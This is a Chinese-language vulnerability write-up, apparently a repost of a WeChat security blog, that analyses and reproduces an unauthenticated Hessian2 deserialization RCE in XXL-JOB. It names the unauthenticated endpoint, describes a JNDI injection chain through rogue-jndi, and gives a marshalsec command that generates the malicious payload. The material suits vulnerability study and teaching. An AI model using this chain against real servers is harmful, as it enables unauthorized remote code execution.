引言
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB v2.2.0及以下版本API接口存在Hessian2反序列化漏洞,可通过相关利用链结合JNDI注入实现RCE。
环境构建
0x01 MySQL数据库配置
wget https://raw.githubusercontent.com/xuxueli/xxl-job/2.0.2/doc/db/tables_xxl_job.sql
导入数据库:
0x02 XXL-JOB配置
wget https://github.com/xuxueli/xxl-job/archive/2.0.2.zip
修改配置(`xxl-job-2.0.2xxl-job-adminsrcmainresourcesapplication.properties`):
将源代码放入idea,直接可以启动:
源码分析
定位问题接口`JobApiController#api`
`@PermessionLimit(limit=false)`说明该接口访问不需要认证。跟进`invokeAdminService`,一直跟到`parseRequest`:
存在Hessian2反序列化漏洞。
漏洞复现
目前Hessian公开的利用链主要如下:
显然适用于本案例的就是`Spring AOP`,需要结合JNDI注入,但是JDK版本较高,无法远程加载恶意类。不过由于XXL-JOB默认运行在Tomcat之上,可以利用本地的工厂类进行RCE。这里利用rogue-jndi来进行利用:
rogue-jndi
https://github.com/veracode-research/rogue-jndi
0x01 启动JNDI服务
0x02 生成Payload
可利用`marshalsec`直接生成:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://***:1389/o=tomcat > calc.ser
0x03 发送数据包
替换数据包的POST部分,发送即可复现漏洞:
参考
https://github.com/xuxueli/xxl-job
http://itliusir.com/2018/scheduler-xxl-job/
https://github.com/veracode-research/rogue-jndi
https://github.com/mbechler/marshalsec
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,且听安全团队及文章作者不为此承担任何责任。
点关注,不迷路!
原文始发于微信公众号(且听安全):【新手入门系列】一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现